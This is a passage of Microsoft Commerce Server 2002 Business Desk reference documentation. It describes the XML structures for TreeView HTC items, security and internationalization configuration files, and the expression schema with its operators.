enabled When set to "no", the tree item corresponding to this element will be disabled.

Optional.

Disabled items are dimmed, and their events are suppressed.

Further, even if they have child items, they cannot to be opened and closed.

If this attribute is not present, or set to any other value, the item is enabled, resulting in normal display and operation.
hidden When set to "yes", the tree item corresponding to this element will be hidden.

Optional.

Any child items are hidden as well.

If this attribute is not present, or set to any other value, the item is visible.
queryid | This attribute is reserved for use by the TreeView HTC itself and should not be set prior to invoking the TreeView HTC.
selected When set to "yes", the tree item corresponding to this element will be initially displayed as selected.

Optional.

Legal values are "yes" and "no".

After initial loading, this attribute continues to be maintained. In other words, it is set to either "yes" or "no" as the corresponding tree item is selected and deselected, respectively.
skip When set to "yes", the corresponding element will be skipped when building the tree structure.

Optional.

If this attribute is not present, or set to any other value, the element is not skipped and results in an item in the tree being displayed (subject to other effects of other attributes).

Unlike the hidden attribute, setting the skip attribute for an element to "yes" does not prevent its child elements from being displayed.

Remarks

The text that is displayed to the user for a particular item in the tree can come from one of three places, with a specific order of precedence, as follows:

  1. If the element has a caption attribute, the value of that attribute is displayed.
  2. Otherwise, if the element contains data, that data is displayed.
  3. Otherwise, the element name itself is displayed.

For example, consider the following XML tree structure, which shows the actual text to be displayed in bold font. Note the presence of the expand element, which allows deferred loading of portions of the tree.

<Item1A>
  <LevelTwo caption=Item2A>Data that will not be displayed
    <LevelThree>Item3A</LevelThree>
    <LevelThree>Item3B</LevelThree>
  </LevelTwo>
</Item1A>
<Item1B>
  <LevelTwo caption=Item2B>More text that will not be displayed
    <LevelThree>Item3C</LevelThree>
    <LevelThree>Item3D</LevelThree>
  </LevelTwo>
  <LevelTwo>Item2C
    <expand />
  </LevelTwo>
</Item1B>
<Item1C>
  <LevelTwo caption=Item2D />
</Item1B>

Given the XML tree structure above, the TreeView HTC displays the following tree when fully expanded, and assuming that the one expand element resulted in a single item named "Item3E (retrieved using expand operation)" being returned.

[-] Item1A

[-] Item2A

Item3A

Item3B

[-] Item1B

[-] Item2B

Item3C

Item3D

[-] Item2C

Item3E (retrieved using expand operation)

[-] Item1C

Item2D

Return to XML Structure

expand

This optional element marks a place in the tree structure where the loading of subordinate tree elements is deferred until the element in question is actually expanded by the user.

Parent Element
arbitrary_element
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

There are two distinct types of expand elements that can occur in the DataXML data-island. This is the first type, which can occur within the arbitrarily named tree elements, and which serves as a placeholder for where the loading of a section of the tree has been deferred, and thus where expansion can occur.

Together, the two types of expand elements are used to perform a special type of XMLHTTP Operation available with the TreeView HTC. This operation allows the loading of the subordinate tree items to be deferred until the containing tree item is opened. In circumstances involving large numbers of items, such deferral can drastically improve the performance of the initial loading and display of the tree.

This element, when present as the sole child element of another element, causes that element to be displayed as a containing item. In other words, with a plus sign indicating the (potential) presence of one or more subordinate items that are not currently being shown. The containing item must be initially closed because the subordinate items have not yet been retrieved. Indeed, the presence of the expand element implies that the closed attribute of its containing element is set to "yes".

When a tree item is opened by a user, the OnItemOpen event fires. If the data for the item being opened is already loaded, no event handler need be assigned to this event. On the other hand, if this event fires and the TreeView HTC finds an expand element rather than the requisite data, an event handling routine needs to be in place. This routine is responsible for adding arguments to the form so that the response page knows which node is being expanded. If no event handling routine has been assigned to the OnItemOpen event and an expand element is encountered, no arguments will be added to the form, and the operation is not likely to return the proper data.

Arguments are added to the form in the standard fashion: hidden input elements are embedded in the form, and the event handling routine simply assigns the appropriate values to those input elements. For example, suppose there is a form element with its id attribute set to "tvform" and it contains a hidden input element with its id attribute set to "category". The event handling routine can assign the value "chocolate" to that input element with the following line of code:

tvform.category.value = 'chocolate'

Once the event handling routine, if any, has run, and if the TreeView HTC has found an expand element where it needs to show a newly expanded section of the tree, the TreeView HTC will call the reload method with the sOp parameter set to "expand".

For more information about XMLHTTP Operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute of the other expand element, the one that is subordinate to the operations element. Unless you were to change the value of this attribute dynamically, all expansion must be handled by the same form. On the response page at the server, the passed arguments must be used to determine the item being expanded, so that the correct data can be returned.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

operations

This optional element contains other elements that, when present, cause certain custom XMLHTTP Operations to be performed when the reload method is invoked with certain parameter values.

Parent Element
document
Required Child Elements
None.
Optional Child Elements
expand, arbitrary_operations_elements
Data
None.
Attributes
None.

Remarks

If the operations element is present but contains no child elements, it is ignored.

Return to XML Structure

expand

This optional element identifies the form element that will be used to post the expansion request to the server.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnItemOpen event fires and its handler calls the reload method with the sOp parameter set to "expand". Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

There are two distinct types of expand elements that can occur in the DataXML data-island. This is the second type, which can occur within the operations element, and which serves to identify the form element that will be used to post the expansion request to the server.

Together, the two types of expand elements are used to perform a special type of XMLHTTP Operation available with the TreeView HTC. This operation allows the loading of the subordinate tree items to be deferred until the containing tree item is opened. In circumstances involving large numbers of items, such deferral can drastically improve the performance of the initial loading and display of the tree.

If any of the other type of expand elements exist in the DataXML data-island, then this expand element must be present, providing the ID of the form used to handle deferred item loading. The action attribute of this form must be set to the post page, the page that returns the new, expand section of the tree.

Like other HTTP/XML Operations, the new data returned from the post page on the server must not contain anything except the data in the standard XML data format.

The returned set of subordinate items actually replaces the expand element in the tree. This means that a particular expand operation will normally only occur once for each instantiation of the TreeView HTC.

For more information about XMLHTTP Operations, see XMLHTTP Operations and Fetch Pages.

This type of expand element is optional, but must be present if any of the other type of expand elements are present.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

custom_op

Custom operation elements correspond to custom XMLHTTP Operations defined for a TreeView HTC. When a custom operation element is present, the entire tree reloads when the reload method is called with its sOp parameter set to the custom name for the element.

For example, if the element alpha_sort is included as a custom operation, and the reload method is called with its sOp parameter set to "alpha_sort", the form with the specified identifier will be posted. For example,

elTreeView.reload("alpha_sort")
Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the reload method is called with its sOp parameter set to the custom name for this element. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP Operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as an attribute. The action attribute of the form should be set to the post page, the page that returns the new tree data.

The following table shows the arguments that are automatically sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "custom_op". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to a particular invocation of the reload method. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.

Additional arguments can be added to the form in the standard fashion: hidden input elements are embedded in the form, and the appropriate argument values are assigned to those input elements prior to the form being posted.

Custom operation elements are optional.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure


Security Configuration

Extensible Markup Language (XML) structures are used by Commerce Server Business Desk to provide security information.

A master security configuration file is used to link multiple area security configuration files together into an overall structure. This section defines the structures of the master security configuration file and the area security configuration files.

This section contains:

  • Master Security Configuration File. Describes the XML structure of the master security configuration file that ties all area security configuration files together.
  • Area Security Configuration Structure and Files. Describes the XML structure of the area security configuration files that specify the security details of each individual area, and describes the ASP files that are used to generate the security information for the catalog and profile areas.


Master Security Configuration File

The file config\master_security_config.xml defines various security areas that are known to Commerce Server Business Desk. In addition to the one implicit security area for the Business Desk Framework (which is not specified in this file), Commerce Server 2002 defines two security areas: "catalog" and "profile". The specific security definitions for these two areas are provided by the ASP files config\bd_catalog_security_config.asp and config\bd_users_security_config.asp, respectively.

XML Structure

<config>
  <areas>
    <area definition_url name />
    . . .
  </areas>
</config>

config

This required element contains the security configuration information for Business Desk.

Parent Element
None (document root).
Required Child Elements
areas
Optional Child Elements
None.
Data
None.

Attributes

None.

Return to XML Structure

areas

This required element contains the definitions of the security areas for Business Desk.

Parent Element
config
Required Child Elements
None.
Optional Child Elements
area
Data
None.

Attributes

None.

Remarks

To be meaningful, the areas element must contain one or more area elements.

Return to XML Structure

area

This optional element defines a Business Desk security area and specifies the URL of the file that provides the security configuration for that area.

Parent Element
areas
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute Description
definition_url Specifies the URL of a security area file.

Required.

Legal values: Valid strings that evaluate to an XML or ASP file that returns a valid security configuration.

Default value: None.

For example, the URLs for the pre-defined security areas are:

  • bd_catalog_security_config.asp
  • bd_users_security_config.asp
name Specifies a name for the security area.

Required.

Legal values: Valid strings.

Default value: None.

For example, the pre-defined security areas are named "catalog" and "profile". There is also an implicit security area for the Business Desk Framework.

Remarks

For the security configuration to be meaningful, at least one area element must exist within the areas element.

Return to XML Structure


Area Security Configuration Structure and Files

The file config\master_security_config.xml specifies ASP files that define the specific security definitions for various security areas. These ASP files provide security definitions for their corresponding areas by returning XML in the structure defined in this topic. Commerce Server 2002 includes two such files: config\bd_catalog_security_config.asp and config\bd_users_security_config.asp, which define the security definitions for the security areas "catalog" and "profile", respectively. Refer to these files as models for creating similar files for any new security areas you define.

XML Structure

<config>
  <area displayname>
    <entities/>
      <entity display_name id >
        <elements>
          <element display_name id />
          . . .
        </elements>
        <rights>
          <right display_name id />
          . . .
        </rights>
      </entity>
      . . .
    </entities>
    . . .
  </area>
</config>

config

This required element contains the security configuration information for a particular security area.

Parent Element
None (document root).
Required Child Elements
area (at least one).
Optional Child Elements
None.
Data
None.

Attributes

None.

Return to XML Structure

area

This required element defines a Business Desk security area and contains all the elements and rights for that area.

Parent Element
None (document root).
Required Child Elements
entities
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
displayname | Specifies a display name for this security area. Required. Legal values: Valid strings. Default value: None. This display name will be used in the Business Desk Security module.

Return to XML Structure

entities

This required element contains the definitions of the security entities for this security area.

Parent Element
area
Required Child Elements
entity (at least one is required).
Optional Child Elements
None.
Data
None.

Attributes

None.

Remarks

Security entities are conceptual categories of things that can be secured. For example, in the Business Desk Framework the built-in entities are "bdfw_category", "bdfw_module", and a dynamically-named entity for each task on an action page.

Return to XML Structure

entity

This required element contains the definitions of the security elements and rights for this entity.

Parent Element
entities
Required Child Elements
elements, rights (one of each)
Optional Child Elements
None.
Data
None.

Attributes

Attribute Description
displayname Specifies a display name for this security entity.

Required.

Legal values: Valid strings.

Default value: None.

This display name will be used in the Business Desk Security module.
id Specifies an internal identifier for this security entity.

Required.

Legal values: Valid strings.

Default value: None.

This identifier must be unique across all entities, regardless of the security area for which it is defined. This is why the Business Desk Framework, Profiling System, and the Product Catalog System all of define entities with a prefix that will make them unique: for instance the Catalog System defines “catalog_properties” instead of just “properties”.

This identifier will be returned as the Entity field in Recordset objects returned by the methods of the BizDeskSecurity object.

Remarks

A security entity is a conceptual category of things that can be secured. For example, the catalog "area" pre-defines the entities "property" and "catalog".

Return to XML Structure

elements

This required element contains the security elements defined for a particular security entity.

Parent Element
entity
Required Child Elements
element (at least one is required).
Optional Child Elements
None.
Data
None.

Attributes

None.

Remarks

Security elements are particular instances of a particular kind of security entity. For example, in the Business Desk Framework each of the modules defined in the module configuration files are security elements associated with the security entity "module".

Return to XML Structure

element

This required element specifies a particular security element for a particular security entity.

Parent Element
elements
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
displayname | Specifies a display name for a security element associated with a particular security entity. Required. Legal values: Valid strings. Default value: None. This display name will be used in the Business Desk Security module.
id | Specifies an internal identifier for this security element. Required. Legal values: Valid strings. Default value: None. This identifier will be returned as the Element field in Recordset objects returned by the methods of the BizDeskSecurity object.

Remarks

A security element is a particular instance of a particular kind of security entity. For example, the catalog "area" pre-defines the element "SKU" for its "property" entity.

Return to XML Structure

rights

This required element contains the security rights defined for a particular security entity.

Parent Element
entity
Required Child Elements
right (at least one is required).
Optional Child Elements
None.
Data
None.

Attributes

None.

Remarks

Security rights represent the various actions that are subject to being allowed or denied for a particular kind of security entity. For example, the catalog "area" only defines a single type of right, "edit", for both of its entities.

Return to XML Structure

right

This required element defines a type of action that will be allowed or denied for a particular security element of a particular security entity.

Parent Element
rights
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
displayname | Specifies a display name for a security right associated with a particular security element of a particular security entity. Required. Legal values: Valid strings. Default value: None. This display name will be used in the Business Desk Security module.
id | Specifies an internal identifier for this security right. Required. Legal values: Valid strings. Default value: None. This identifier will be returned as the Right field in Recordset objects returned by the methods of the BizDeskSecurity object.

Remarks

Because security rights define actions that can be allowed or denied, their display names are most commonly expressed as verbs, such as "edit" or "read".

Return to XML Structure


International Configuration

Extensible Markup Language (XML) structures are used by Commerce Server Business Desk to provide internationalization information. There are separate files for configuring information about different currencies and different languages, both of which are discussed in this section. This information is made available to modules through the xmlGetCurrencies() function in ASPUtil.asp. This routine returns an XML document resulting from an XSL transform of this file.

This section contains:

  • Currency Configuration. Describes the XML structure of the currency configuration file that provides information about different currencies.
  • Language Configuration. Describes the XML structure of the language configuration file that provides information about different languages.


Currency Configuration

The file config\currencies.xml defines various currencies that are known to Commerce Server Business Desk and which are available for modules to use.

XML Structure

<Currencies>
  <Currency display_name iso4217 />
  . . .
</Currencies>

Currencies

This required element contains the currency configuration information for Commerce Server Business Desk.

Parent Element
None (document root).
Required Child Elements
None.
Optional Child Elements
Currency
Data
None.

Attributes

None.

Remarks

To be meaningful, the Currencies element must contain one or more Currency elements.

Return to XML Structure

Currency

This optional element contains the configuration information about a single currency known to Business Desk.

Parent Element
Currencies
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
display_name | Specifies a display name for the corresponding currency. Required. Legal values: Valid strings. Default value: None. For example, the display name for US dollars is "United States Dollar".
iso4217 | Specifies the three-character ISO currency code for the corresponding currency. Required. Legal values: Valid ISO 4217 currency codes. Default value: None. The ISO 4217 currency code is usually composed of a two-character ISO 3166 country/region code followed by a one-character currency designator. Continuing the US dollar example, the code for US Dollars is simply the two-character ISO 3166 code for the United States (US) followed by a one-character currency designator (D), yielding "USD".

Remarks

For the currency configuration to be meaningful, at least one Currency element must exist within the Currencies element.

Return to XML Structure


Language Configuration

The file config\languages.xml defines various languages that are known to Commerce Server Business Desk and which are available for modules to use. This information is made available to modules through the xmlGetLanguages()function in ASPUtil.asp. This routine returns an XML document resulting from an XSL transform of this file.

XML Structure

<Languages>
  <Language collation browser_language display_name
            iso639x primary_language word_breaker />
  . . .
</Languages>

Valid values are the LCIDs of the languages for which wordbreakers are provided by SQL Server.

The hexadecimal numbers in the below table are valid values. The text represents the wordbreaker for that language.

0 Neutral 0x0804 Chinese_Simplified
0x0404 Chinese_Traditional
0x0413 Dutch
0x0809 English_UK
0x0409 English_US
0x040c French
0x0407 German
0x0410 Italian
0x0411 Japanese
0x0412 Korean
0x0c0a Spanish_Modern
0x041d Swedish_Default

Languages

This required element contains the language configuration information for Commerce Server Business Desk.

Parent Element
None (document root).
Required Child Elements
None.
Required Child Elements
Language
Data
None.

Attributes

None.

Remarks

To be meaningful, the Languages element must contain one or more Language elements. Multilingual aspects of the catalog system are configured using this information. Examples include: the set of languages associated with a multilingual property, or the set of default values for that property, and the set of languages associated with a catalog. Usually interaction with the catalog occurs within the context of a certain language, either through a user interface selection or a programmatic setting. This means that all multilingual properties will expose (to a user interface) or return values associated with the current language selection or setting for that catalog.

Return to XML Structure

Language

This optional element contains the configuration information about a single language known to Business Desk.

Parent Element
Languages
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
collation | Specifies the SQL collation identifier for the corresponding language. Optional. Legal values: Valid SQL collation identifiers. Default value: None. If this attribute is not specified, as is the default, collation will default to the SQL default for the corresponding language.
culture_name | Specifies the culture name and follow the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>", where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Required. Legal values: Valid RFC 1766 culture identifiers. For example, U.S. English is "en-US". Some culture names have prefixes that specify the script; for example, "Cy-" specifies the Cyrillic script, "Lt-" specifies the Latin script.
culture_code | Specifies the locale identifier (or LCID) following the RFC 1766 standard. This is represented as a four digit hex value prefixed with “0x”. Required. Legal values: Valid RFC 1766 locale identifiers. For example, U.S. English is "0x0409".
display_name | Specifies a display name for the corresponding language. Required. Legal values: Valid strings. Default value: None. For example, the display name for US English is "English (United States)".
iso639x | Specifies the ISO 639 two-character language code (plus an optional third character as used by Windows to identify sublanguages) for the corresponding language. Required. Legal values: Valid ISO 639x language codes. Default value: None. For example, the iso639x code for US English is "ENU".
word_breaker | Specifies the SQL word breaker to be used for the corresponding language. Optional. Legal values: Valid SQL word breakers. Default value: None. If this attribute is not specified, as is the default, the word breaker will default to the SQL default for the corresponding language.

Remarks

For the language configuration to be meaningful, at least one Language element must exist within the Languages element.

Return to XML Structure


Expression XML Structures

The expression Extensible Markup Language (XML) schema defines the form of expressions that can be used in Commerce Server 2002. The part of the expression that can be evaluated is stored as an XML string in the ExprBody field of an ActiveX Data Object (ADO) Recordset object. The Recordset objects are contained in a group of tables in the Commerce database known as the Expression Store. (See the PROFILES database table EX_ExprInfo.)

This section contains:

  • Expression Recordset Schema. Describes the XML expression recordset schema.
  • Expression Body Structure. Describes the XML structure, elements, and attributes of the expression body of the expression recordset. This is the evaluable part of the recordset.
  • Data Types and Operators. Describes the valid data types and operators.
  • Intrinsics. Describes the intrinsics, which are time and date properties evaluated on the server.
  • Expression Example. Provides an example of a valid XML expression.

See Also

Targeting Objects

Expression Recordset

ExpressionEval Object

ExpressionStore Object


Expression Recordset Schema

This section provides the Extensible Markup Language (XML) expression recordset schema. The evaluable part of an expression is contained in the ExprBody field of the recordset. For more information, see Expression Recordset. This schema is output when exporting expressions from the Expression Store and is required for importing expressions into the Expression Store from a file.

<xml xmlns:s='uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882'
   xmlns:dt='uuid:C2F41010-65B3-11d1-A29F-00AA00C14882'
   xmlns:rs='urn:schemas-microsoft-com:rowset' xmlns:z='#RowsetSchema'>
<s:Schema id='RowsetSchema'>
   <s:ElementType name='row' content='eltOnly' rs:CommandTimeout='300'
      rs:ReshapeName='DSRowset1'>
      <s:AttributeType name='ExprID' rs:number='1'>
         <s:datatype dt:type='int' dt:maxLength='4' rs:precision='10'
            rs:fixedlength='true' rs:maybenull='false'/>
      </s:AttributeType>
      <s:AttributeType name='ExprName' rs:number='2'
         rs:writeunknown='true'>
         <s:datatype dt:type='string' dt:maxLength='30'
            rs:maybenull='false'/>
      </s:AttributeType>
      <s:AttributeType name='Category' rs:number='3' rs:nullable='true'
         rs:writeunknown='true'>
         <s:datatype dt:type='string' dt:maxLength='30'/>
      </s:AttributeType>
      <s:AttributeType name='ExprDesc' rs:number='4' rs:nullable='true'
         rs:writeunknown='true'>
         <s:datatype dt:type='string' dt:maxLength='200'/>
      </s:AttributeType>
      <s:AttributeType name='ExprBody' rs:number='5'
         rs:writeunknown='true'>
         <s:datatype dt:type='string' dt:maxLength='3400'
            rs:maybenull='false'/>
      </s:AttributeType>
      <s:AttributeType name='DateCreated' rs:number='6'
         rs:writeunknown='true'>
         <s:datatype dt:type='dateTime' rs:dbtype='timestamp'
            dt:maxLength='16' rs:scale='3' rs:precision='23'
            rs:fixedlength='true' rs:maybenull='false'/>
      </s:AttributeType>
      <s:AttributeType name='DateModified' rs:number='7'
         rs:writeunknown='true'>
         <s:datatype dt:type='dateTime' rs:dbtype='timestamp'
            dt:maxLength='16' rs:scale='3' rs:precision='23'
            rs:fixedlength='true' rs:maybenull='false'/>
      </s:AttributeType>
      <s:ElementType name='rsExprDeps' content='eltOnly'
         rs:CommandTimeout='300' rs:ReshapeName='DSRowset2'
         rs:relation='010000000100000000000000'>
         <s:AttributeType name='ExprID' rs:number='1'
            rs:writeunknown='true'>
            <s:datatype dt:type='int' dt:maxLength='4' rs:precision='10'
               rs:fixedlength='true' rs:maybenull='false'/>
         </s:AttributeType>
         <s:AttributeType name='ExprDep' rs:number='2'
            rs:writeunknown='true'>
            <s:datatype dt:type='int' dt:maxLength='4' rs:precision='10'
               rs:fixedlength='true' rs:maybenull='false'/>
         </s:AttributeType>
         <s:extends type='rs:rowbase'/>
      </s:ElementType>
      <s:ElementType name='rsProfDeps' content='eltOnly'
         rs:CommandTimeout='300' rs:ReshapeName='DSRowset3'
         rs:relation='010000000100000000000000'>
         <s:AttributeType name='ExprID' rs:number='1'
            rs:writeunknown='true'>
            <s:datatype dt:type='int' dt:maxLength='4' rs:precision='10'
               rs:fixedlength='true' rs:maybenull='false'/>
         </s:AttributeType>
         <s:AttributeType name='ProfDep' rs:number='2'
            rs:writeunknown='true'>
            <s:datatype dt:type='string' dt:maxLength='128'
               rs:maybenull='false'/>
         </s:AttributeType>
         <s:extends type='rs:rowbase'/>
      </s:ElementType>
      <s:extends type='rs:rowbase'/>
   </s:ElementType>
</s:Schema>

For more information, see Expression Recordset.


Expression Body Structure

This section describes the Extensible Markup Language (XML) structure, elements, and attributes of the expression body of the expression recordset. The expression body is the evaluable part of the recordset and is generally referred to as the expression. All elements and attributes are specified in uppercase. The only exception to this rule is the <PROPERTY> element.

In the following example, capitalized names refer to the elements of the XML structure. The first occurrence of each element is linked to documentation on that element. Names in italic are attributes associated with each element. Bold italic signifies attributes that are required. Lowercase values represent data that is contained between the opening and closing element tags. For more information, see Expression Example.

<TERM TYPE>
   <CLAUSE OPER>
      <PROPERTY ID TYPE SUBTYPE />
      <IMMED-VAL TYPE SUBTYPE MULTIVAL>
         <VALUE>value1</VALUE>
         <VALUE>value2</VALUE>
      </IMMED-VAL>
   </CLAUSE>
   <CLAUSE OPER>
      <EXPR-REF ID />
   </CLAUSE>
   <TERM TYPE>
      <CLAUSE OPER>
         <PROPERTY ID TYPE SUBTYPE />
         <IMMED-VAL TYPE SUBTYPE MULTIVAL>immediate value</IMMED-VAL>
      </CLAUSE>
      <CLAUSE OPER>
      </CLAUSE>
   </TERM>
</TERM>

CLAUSE

CLAUSE elements are the building blocks of expressions and evaluate to either True or False. CLAUSE elements contain an operator attribute and one or two arguments listed as child elements. CLAUSE elements can be grouped together by TERM elements to create more complex expressions. A CLAUSE element along with its child elements represents one of the following operations:

  • [profile property] [operator] [immediate value]
  • [profile property] [operator] [profile property]
  • [profile property] [operator]
  • [intrinsic] [operator] [immediate value]
  • [intrinsic] [operator]
  • [expression] [operator]

Parent Elements: TERM

Child Elements: EXPR-REF, IMMED-VAL, PROPERTY

Attributes:

Name | Description
OPER | Required. Specifies the operator to be used to evaluate the child arguments.

See Also

TERM

EXPR-REF

IMMED-VAL

PROPERTY

EXPR-REF

Expressions can be built from other expressions, allowing larger, more complex expressions. Expressions are referred to by their unique IDs (an integer value), not their names. The only valid operators for the EXPR-REF element are "is-true" and "is-false".

Parent Elements: CLAUSE

Child Elements: None

Attributes:

Name | Description
ID | Required. An integer that is the ID of the expression to evaluate.

See Also

CLAUSE

IMMED-VAL

The IMMED-VAL element represents a hard-coded value used to check the preceding profile PROPERTY element against. For example, the number "25" and the string "Joe" are both immediate values. Immediate values can be either single-valued or multi-valued, and have a specific data type.

Parent Elements: CLAUSE

Child Elements: VALUE (when MULTIVAL = "True")

Data: Valid types - bool, currency, date, number, siteterm, string, time

Attributes:

Name | Description
TYPE | Required. Valid types are: bool, currency, date, datetime, number, siteterm, string, and time.
SUBTYPE | Specifies the sub-type of the property, if appropriate. For example, when TYPE = "siteterm", the value of the SUBTYPE attribute is the appropriate path for accessing the site-term in the Site Terms store. The default is "".
MULTIVAL | A bool that defaults to False. In this case, a single value is specified between the opening and closing tags. True indicates that the immediate value is multi-valued. In this case, the list of values is specified as a sequence of VALUE tags between the opening and closing tags.

See Also

CLAUSE

VALUE

PROPERTY

The PROPERTY element represents a profile property, a catalog property, or intrinsic that is the actual data being evaluated. This is the property which helps differentiate expressions into its two types: Target Expressions and Catalog Expressions.

Profile properties can be either single-valued or multi-valued, and have a specific data type. When a profile property is specified as the only argument (child element) of a CLAUSE element, the only valid operators are "is-defined" and "not-defined". An exception to the all uppercase syntax rule, this element is specified as <Property> if an expression containing it should appear in the Campaign Expressions module in Business Desk.

Note

  • When building an expression, all profile properties in the expression must be from the same data source (for example, all from SQL Server databases, or all from Active Directory).

Parent Elements: TERM

Child Elements: CODE, EXPR-REF, IMMED-VAL, PROPERTY

Attributes:

Name | Description
ID | Required. Specifies the profile property or intrinsic.
TYPE | Required. Valid types are: bool, currency, date, datetime, number, siteterm, string, and time. A generic type is also supported for the "is-defined" and "not-defined" operators.
SUBTYPE | Specifies the sub-type of the property, if appropriate. For example, when TYPE = "siteterm", the value of the SUBTYPE attribute may be "Site Terms.Products.Cars.Colors". The default is "".

See Also

TERM

EXPR-REF

IMMED-VAL

Intrinsics

TERM

The TERM element evaluates a group of CLAUSE elements according to some logic function. Currently, the expression architecture supports the following Boolean logic operations: AND, OR, and NOT. TERM elements can be further grouped together, along with additional CLAUSE elements, to form more complex expressions.

Parent Elements: TERM

Child Elements: CLAUSE, TERM

Attributes:

Name | Description
TYPE | Required. This attribute specifies how the containing TERM elements and CLAUSE elements are logically combined. Valid values are: AND, OR, NOT

See Also

CLAUSE

VALUE

The VALUE element is used to specify the individual values of a multi-valued IMMED-VAL element.

Parent Elements: IMMED-VAL

Child Elements: None

Data: Valid types - bool, currency, date, datetime, number, siteterm, string, and time

Attributes: None

See Also

IMMED-VAL

Copyright © 1996–2002 Microsoft Corporation.
Alle Rechte vorbehalten.


Data Types and Operators

This section describes the valid data types and operators used in the expression body of the expression recordset. An operator is applied to the child element(s) of the CLAUSE element. The following structure:

      <CLAUSE OPER>
         <PROPERTY />
         <IMMED-VAL></IMMED-VAL>
      </CLAUSE>

represents an operation of the form:

      Operator
         Argument1
         Argument2

which is easier to interpret as:

      Argument1 Operator Argument2

For example:

      <CLAUSE OPER="equal" >
         <PROPERTY ID="user.hair.color" TYPE="string" />
         <IMMED-VAL TYPE="string">"brown"</IMMED-VAL>
      </CLAUSE>

results in the evaluation of the expression:

      "user.hair.color" = "brown" ?

Data types are specified in the PROPERTY and IMMED-VAL elements, which are child elements of the CLAUSE element. The expression architecture supports the following data types: bool, currency, date, datetime, number, siteterm, string, and time. A generic data type (not recognized as from the previous list) may be used, but with a limited set of operators. For CLAUSE elements with two arguments, the data types must match.

The valid operators for each data type are specified in the following tables. The MV column specifies which arguments, if any, can be multi-valued. All operators must be specified in lowercase.

Bool

Operator | MV | Description
equal | None | Returns true if arg1 = arg2
not-equal | None | Returns true if arg1 != arg2

Currency, Number

Operator | MV | Description
equal | None | Returns true if arg1 = arg2
not-equal | None | Returns true if arg1 != arg2
greater-than | None | Returns true if arg1 > arg2
less-than | None | Returns true if arg1 < arg2
at-least | None | Returns true if arg1 >= arg2
at-most | None | Returns true if arg1 <= arg2
in | Arg2 | Returns true if arg1 appears anywhere in the list in arg2
not-in | Arg2 | Returns true if arg1 appears nowhere in the list in arg2
contains | Arg1 | Returns true if arg2 appears anywhere in the list in arg1
not-contains | Arg1 | Returns true if arg2 appears nowhere in the list in arg1
intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is not the empty set
not-intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is the empty set

Date, Time, Datetime

Operator | MV | Description
equal | None | Returns true if arg1 = arg2
not-equal | None | Returns true if arg1 != arg2
before | None | Returns true if arg1 is before arg2
after | None | Returns true if arg1 is after arg2
on-or-before | None | Returns true if arg1 is the same as or before arg2
on-or-after | None | Returns true if arg1 is the same as or after arg2
in | Arg2 | Returns true if arg1 appears anywhere in the list in arg2
not-in | Arg2 | Returns true if arg1 appears nowhere in the list in arg2
contains | Arg1 | Returns true if arg2 appears anywhere in the list in arg1
not-contains | Arg1 | Returns true if arg2 appears nowhere in the list in arg1
intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is not the empty set
not-intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is the empty set

Expression

An expression is not a data type of the PROPERTY and IMMED-VAL elements. An expression is an integer value that is evaluated as part of the EXPR-REF element. It is included in the following table for completeness in describing the available operators.

Operator | MV | Description
is-true | None | Returns true if specified expression is true
is-false | None | Returns true if specified expression is false

Generic

If a profile PROPERTY element is specified as the only argument (child element) of a CLAUSE element, any generic data type can be used with the operators listed in the following table.

Operator | MV | Description
is-defined | None | Returns true if the property is defined. Returns false if this argument is missing.
not-defined | None | Returns true if the property is not defined or if this argument is missing.

Siteterm

Operator | MV | Description
equal | None | Returns true if arg1 = arg2
not-equal | None | Returns true if arg1 != arg2
in | Arg2 | Returns true if arg1 appears anywhere in the list in arg2
not-in | Arg2 | Returns true if arg1 appears nowhere in the list in arg2
contains | Arg1 | Returns true if arg2 appears anywhere in the list in arg1
not-contains | Arg1 | Returns true if arg2 appears nowhere in the list in arg1
intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is not the empty set
not-intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is the empty set

String

Operator | MV | Description
equal | None | Returns true if arg1 = arg2.
not-equal | None | Returns true if arg1 != arg2.
contains | None | Returns true if arg2 appears anywhere in arg1. (For example, "Donnie" contains "nn".)
not-contains | None | Returns true if arg2 does not appear anywhere in arg1. (For example, "flintstone" does not contain "stones".)
begins-with | None | Returns true if the first part of arg2 matches arg1.
not-begins-with | None | Returns true if the first part of arg2 does not match arg1.
in | Arg2 | Returns true if arg1 appears anywhere in the list in arg2.
not-in | Arg2 | Returns true if arg1 appears nowhere in the list in arg2.
contains | Arg1 | Returns true if arg2 appears anywhere in the list in arg1.
not-contains | Arg1 | Returns true if arg2 appears nowhere in the list in arg1.
